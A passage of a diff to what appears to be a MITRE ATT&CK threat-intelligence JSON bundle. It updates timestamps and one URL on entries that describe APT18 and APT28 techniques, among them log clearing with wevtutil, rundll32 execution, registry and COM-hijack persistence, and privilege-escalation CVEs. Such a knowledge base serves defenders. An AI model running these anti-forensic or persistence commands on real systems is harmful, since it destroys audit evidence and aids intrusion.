             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
@@ -23844,7 +25819,7 @@
             "id": "relationship--7909f5a6-3924-4259-aedd-2e48123f563a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.036Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283",
@@ -23857,7 +25832,7 @@
             "id": "relationship--324a5331-cce7-4154-a803-ad68d5de1f94",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.036Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2",
@@ -23870,7 +25845,7 @@
             "id": "relationship--4a687e50-e6b7-41df-93b1-6fed7db10f60",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.036Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22",
@@ -23883,7 +25858,7 @@
             "id": "relationship--6e366a30-cf75-4a47-855f-91a006014ada",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.036Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
@@ -23896,7 +25871,7 @@
             "id": "relationship--1d5e0da2-7741-4a31-9c54-cbbe584fe27b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52",
@@ -23909,7 +25884,7 @@
             "id": "relationship--44858dc2-c869-42a0-8f67-3ddd9660b538",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--2fab555f-7664-4623-b4e0-1675ae38190b",
@@ -23922,7 +25897,7 @@
             "id": "relationship--630dedba-136b-4ea3-956e-f8f38e96653d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
@@ -23935,7 +25910,7 @@
             "id": "relationship--76393f0c-a13c-48a8-ba7d-80502ae938a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--a52edc76-328d-4596-85e7-d56ef5a9eb69",
@@ -23948,7 +25923,7 @@
             "id": "relationship--de979692-5ca5-4874-bfc8-91cea8697ef1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700",
@@ -23961,7 +25936,7 @@
             "id": "relationship--47545d87-b0ae-45ae-aeea-dc849eac2f6f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
@@ -23974,7 +25949,7 @@
             "id": "relationship--cf467be5-c162-4763-801b-32cb57a514ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b",
@@ -23987,7 +25962,7 @@
             "id": "relationship--13984eec-6c33-4bab-a22c-5c061ddd6e44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
@@ -24000,7 +25975,7 @@
             "id": "relationship--b6f70ba6-bff1-4b40-a418-356e7b6efa27",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -24013,7 +25988,7 @@
             "id": "relationship--79cd2ec8-068c-4a7a-8133-1855381d3bd3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
@@ -24026,7 +26001,7 @@
             "id": "relationship--d242dc5a-3969-498c-b7eb-5d850e7d384d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
             "target_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e",
@@ -24039,7 +26014,7 @@
             "id": "relationship--762f85a3-0120-4b09-aafd-3f460764e85f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
             "target_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06",
@@ -24052,7 +26027,7 @@
             "id": "relationship--bcd1d261-0228-468f-b02b-52e6784e2491",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.058Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
             "target_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
@@ -24065,7 +26040,7 @@
             "id": "relationship--a33388b7-3803-442f-8e31-511eef055470",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae",
             "target_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
@@ -24078,7 +26053,7 @@
             "id": "relationship--67f19627-27a5-4898-bab5-7b235aa4ad77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT18 actors used the native at Windows task scheduler tool to use scheduled tasks for execution on a victim network.",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
@@ -24099,7 +26074,7 @@
             "id": "relationship--6175bbbe-1bc1-4562-8c5f-9e437348636a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT18 actors deleted tools and batch files from victim systems.",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
@@ -24120,7 +26095,7 @@
             "id": "relationship--3b521f87-a77d-4c8d-8ab8-ffc6dbc3d62e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT18 actors leverage legitimate credentials to log into external remote services.",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
@@ -24141,7 +26116,7 @@
             "id": "relationship--1ac5bace-cdc2-4a1b-abad-d30ca0ed7f45",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT18 actors leverage legitimate credentials to log into external remote services.",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
@@ -24162,7 +26137,7 @@
             "id": "relationship--80c071f7-123e-468f-800d-726a1d3e4144",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
             "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
@@ -24175,7 +26150,7 @@
             "id": "relationship--e9612cb1-79a5-4987-aa83-b84aa7fa050f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
             "target_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
@@ -24188,7 +26163,7 @@
             "id": "relationship--7dc4c8b9-a380-4dc0-9973-a8a2f8d0175c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
             "target_ref": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e",
@@ -24201,7 +26176,7 @@
             "id": "relationship--89c6bcd7-e330-4902-8296-0918923d6573",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
             "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
@@ -24214,7 +26189,7 @@
             "id": "relationship--95842c88-c596-44c7-a16e-40d98e2457cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
             "target_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
@@ -24227,7 +26202,7 @@
             "id": "relationship--dc10e96f-1d3c-4ab9-8df6-acdc8238ec6c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 added \"junk data\" to each encoded string, preventing trivial decoding without knowledge of the junk removal algorithm. Each implant was given a \"junk length\" value when created, tracked by the controller software to allow seamless communication but prevent analysis of the command protocol on the wire.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24248,7 +26223,7 @@
             "id": "relationship--10cc3288-d06c-456c-bc0e-b10a8c5abeaa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24273,7 +26248,7 @@
             "id": "relationship--a1fe7df1-7c20-422e-8e86-042cd11b3501",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 used SMTP as a communication channel in various implants, initially using self-registered Google Mail accounts and later compromised email servers of its victims. Later implants such as CHOPSTICK use a blend of HTTP and other legitimate channels, depending on module configuration.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24294,7 +26269,7 @@
             "id": "relationship--644b6c21-90f0-43b7-8da4-7f6f24ddabb6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After security appliances blocked one version of the ADVSTORESHELL implant, APT28 actors compiled and delivered another ADVSTORESHELL x64 backdoor.APT28 also used a first-stage downloader to contact the C2 server to obtain the second-stage implant.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24310,7 +26285,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 }
             ]
         },
@@ -24319,7 +26294,7 @@
             "id": "relationship--8f269f6c-9e8b-4296-ab47-2f60c9156b58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 executed CHOPSTICK by using rundll32 commands such as <code>rundll32.exe \u201cC:\\Windows\\twain_64.dll\u201d</code>.APT28 also executed a .dll for a first stage dropper using rundll32.exe.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24344,7 +26319,7 @@
             "id": "relationship--4b8d211d-4969-4c0f-8b01-fd176c8172d1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has cleared event logs using the commands <code>wevtutil cl System</code> and <code>wevtutil cl Security</code>.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24365,7 +26340,7 @@
             "id": "relationship--1036833a-1d4c-4d9e-b716-1e52606ab684",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has performed timestomping on victim files.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24386,7 +26361,7 @@
             "id": "relationship--e71903c4-a7af-4317-adf0-10f76d3d4e15",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 regularly deploys both publicly available and custom password retrieval tools on victims.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24407,7 +26382,7 @@
             "id": "relationship--48f662fe-1ba2-4c19-b782-dd06d9fb67fa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 regularly deploys a custom tool to take regular screenshots of victims.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24433,7 +26408,7 @@
             "id": "relationship--9e90e4a5-844c-4516-9044-6f35bbf27806",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has deployed a bootkit along with Downdelph to ensure its persistence on the victim. The bootkit shares code with some variants of BlackEnergy.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24454,7 +26429,7 @@
             "id": "relationship--54d3eadf-0363-47d1-b51d-a16d6a99c42e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has used COM hijacking for persistence by replacing the legitimate <code>MMDeviceEnumerator</code> object with a payload.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24475,7 +26450,7 @@
             "id": "relationship--cce31baa-5862-4df5-806f-15aaa7410fa5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has used CVE-2014-4076, CVE-2015-2387, and CVE-2015-1701 to escalate privileges, as well as CVE-2015-4902 to bypass security features.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24500,7 +26475,7 @@
             "id": "relationship--1b143de7-af2d-4991-9e2e-aa85a8d7d330",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 encrypted a .dll payload using RTL and a custom encryption algorithm.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24520,7 +26495,7 @@
             "id": "relationship--2d450e2f-25c9-49af-b83f-6c91029ed28a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 can deploy a tool to perform keylogging.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24541,7 +26516,7 @@
             "id": "relationship--edaf0203-4959-4e1e-9240-3d20cf0f3b6a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 uses a tool to infect connected USB devices and transmit itself to air-gapped computers when the infected USB device is inserted.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24562,7 +26537,7 @@
             "id": "relationship--c569059f-8a7d-4777-a111-d3ab62d178ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 uses a tool that captures information from air-gapped computers via an infected USB and transfers it to network-connected computer when the USB is inserted.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24583,7 +26558,7 @@
             "id": "relationship--22ccfcb8-cb4a-4b9e-bc2d-c0bd2701e2e9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has used pass the hash for lateral movement.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24604,7 +26579,7 @@
             "id": "relationship--ec6a8fde-702a-4e38-a37b-428a8ca10b18",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has stored captured credential information in a file named pi.log.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24625,7 +26600,7 @@
             "id": "relationship--78e8d9e6-48b7-473f-af94-43f626de7931",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A APT28 backdoor may collect the entire contents of an inserted USB device.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24646,7 +26621,7 @@
             "id": "relationship--56d023cf-4390-40d9-afc6-cb0d40b4cdd1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 uses a module to receive a notification every time a USB mass storage device is inserted into a victim. They have also looked for the presence of iOS devices by looking for their backups .",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24672,7 +26647,7 @@
             "id": "relationship--b719d37b-8f0e-4704-b21d-8977a5c7cceb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24693,7 +26668,7 @@
             "id": "relationship--7606ad11-1322-4b97-83b9-aaafaee02c07",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has used legitimate credentials to maintain access to a victim network and exfiltrate data.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24714,7 +26689,7 @@
             "id": "relationship--d0560e25-020d-4cd6-b61c-5fc82a757edc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has used the Office Test persistence mechanism within Microsoft Office by adding the Registry key <code>HKCU\\Software\\Microsoft\\Office test\\Special\\Perf</code> to execute code.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24735,7 +26710,7 @@
             "id": "relationship--a3de3705-8085-4992-9b90-1cb8ef532b5c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has queried information on machines to determine the current user or system owner .",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24756,7 +26731,7 @@
             "id": "relationship--51d06864-d5de-4286-b2bb-561a8d2c4d49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has used built-in tools like <code>ps aux</code> on macOS to determine which processes are running .",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24777,7 +26752,7 @@
             "id": "relationship--6b1c1b38-0448-4114-99eb-23aae85ada52",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has enumerated installed applications on macOS devices with built-in utilities such as <code>ls -al /Applications</code>.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24798,7 +26773,7 @@
             "id": "relationship--5ea36f9f-f5b6-4494-be0a-061058d6b1f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
